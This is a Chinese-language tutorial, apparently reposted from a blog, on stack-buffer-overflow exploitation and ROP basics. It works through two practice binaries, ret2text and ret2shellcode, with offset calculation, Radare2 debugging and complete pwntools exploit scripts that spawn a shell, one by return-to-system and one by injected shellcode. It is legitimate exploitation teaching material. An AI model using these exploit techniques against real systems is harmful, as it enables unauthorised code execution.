欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

栈溢出攻击(2)-ROP基础(1)

程序员文章站 2022-05-15 21:35:44
...

预备条件

ret2shellcode:http://www.hacksprit.top:8090/files/ret2shellcode
ret2text: http://www.hacksprit.top:8090/files/ret2text
关闭系统的ASLR

栈溢出

这里对栈溢出进行了介绍。

ROP

学习过Java的人对*OP应该都有所了解,比如OOP(面向对象编程),比如AOP(面向切面编程)。那ROP是 什么那?又和栈攻击有什么关系那?

ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程,从而绕过NX保护机制

之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件:

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址

ret2text程序

攻击目标

ret2text程序

简单fuzz

通过输入多个字符a进行fuzz,从下图中可以看出程序崩溃。由此推测程序存在漏洞。
栈溢出攻击(2)-ROP基础(1)

查看保护机制

使用checksec ret2text 查看程序使用的保护机制,从图中可以看出NX是开启的,也就是无法直接执行栈里面的数据。
栈溢出攻击(2)-ROP基础(1)

调试程序

使用Radare2(或者gdb)进行调试,本文使用Radare2进行调试。关于Radare2的介绍,可参考这里

查看汇编代码

使用pdf @ main
栈溢出攻击(2)-ROP基础(1)通过汇编代码,大致可以写出相应的c代码,居然有一个高度危险的函数gets。由于gets函数不会对输入长度进行校验,那么当长度足够长的时候,就会覆盖到返回地址,然后,当程序返回之后,返回到一个无效的地址,由此就有了上面的程序崩溃。具体可参考这里

int main(){
	char *s;
	setbuf(stdout,0,2,0)
	setbuf(stdin,0,1,1)
	puts("There is something amazing here, do you know anything?")
	gets(s);
	printf("Maybe I will tell you next time !")
	return 0;
}
确定与返回地址的偏移

在gets函数之后下断点, 运行程序。
栈溢出攻击(2)-ROP基础(1)
通过 v 查看栈、寄存器等信息
栈溢出攻击(2)-ROP基础(1)
s与ebp的偏移0xffffcfc8 - 0xffffcf5c = 6ch = 6*16+12 = 108,再加上ebp的4个字节就是距离返回地址的偏移,也就是112。然后在返回地址处,填充一个地址,这个地址,指向获取系统shell的代码。,这就是ROP。

    High
    Address |                 |
            +-----------------+
            | args            |
            +-----------------+
            | return address  |
            +-----------------+
     	ebp | old ebp         |
            +-----------------+
            |   ...           |
            +-----------------+
     ebp-112| 变量s地址      |
    Low     |                 |
    Address

寻找获取系统shell的代码

通过pdf @ sym.secure 查看汇编代码 ,可以看出有system("/bin/sh")这段代码,于是可以这里的代码。

栈溢出攻击(2)-ROP基础(1)

获取shell

##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()

运行,结果如下,通过这个shell可以查看进程,用户等信息。
栈溢出攻击(2)-ROP基础(1)

ret2shellcode

攻击目标

ret2shellcode程序

简单fuzz

栈溢出攻击(2)-ROP基础(1)

查看保护机制

栈溢出攻击(2)-ROP基础(1)NX未开启

调试程序

栈溢出攻击(2)-ROP基础(1)
通过分析程序,写出c代码,很明显,依然存在由gets函数引起的栈溢出漏洞。但是多了strncpy内存复制函数,那么如果buf2中的内存是可执行的,写入一段shellcode,然后再跳转到buf2出,就可以控制程序的执行了,同样这也是ROP。

int main(){
	char *s;
	setbuf(stdout,0,2,0)
	setbuf(stdin,0,1,1)
	puts("No system for you this time !!!")
	gets(s);
	strncpy(buf2,s,0x64)
	printf("bye bye ~")
	return 0;
}

buf2处的内存能否执行,通过dm查看Memory Map的权限,由于0x804a080在第二行的范围内,因此具有可执行的权限。
栈溢出攻击(2)-ROP基础(1)

确定与返回地址的偏移

和上面的方法类似。

获取shell

python ljust

Python ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串

#!/usr/bin/python

str = "this is string example....wow!!!";
print str.ljust(50, '0');

运行结果,总长度是50,不是填充的字符长度是50

this is string example…wow!!!000000000000000000

shellcode

使用的模块

  • asm : 汇编与反汇编,支持x86/x64/arm/mips/powerpc等基本上所有的主流平台
  • shellcraft : shellcode的生成器
获取shell的payload

结合asm可以可以得到最终的pyaload。

from pwn import *
context(os='linux',arch='amd64')
shellcode = asm(shellcraft.sh())

或者

from pwn import *
shellcode = asm(shellcraft.amd64.linux.sh())

除了直接执行sh之外,还可以进行其它的一些常用操作例如提权、反向连接等等。

exploit

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

x = len(shellcode.ljust(112, 'A'))
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

运行程序,成功获取shell,可以查看进程等信息。
栈溢出攻击(2)-ROP基础(1)

公众号

更多二进制安全内容,欢迎关注我的公众号:无情剑客。
栈溢出攻击(2)-ROP基础(1)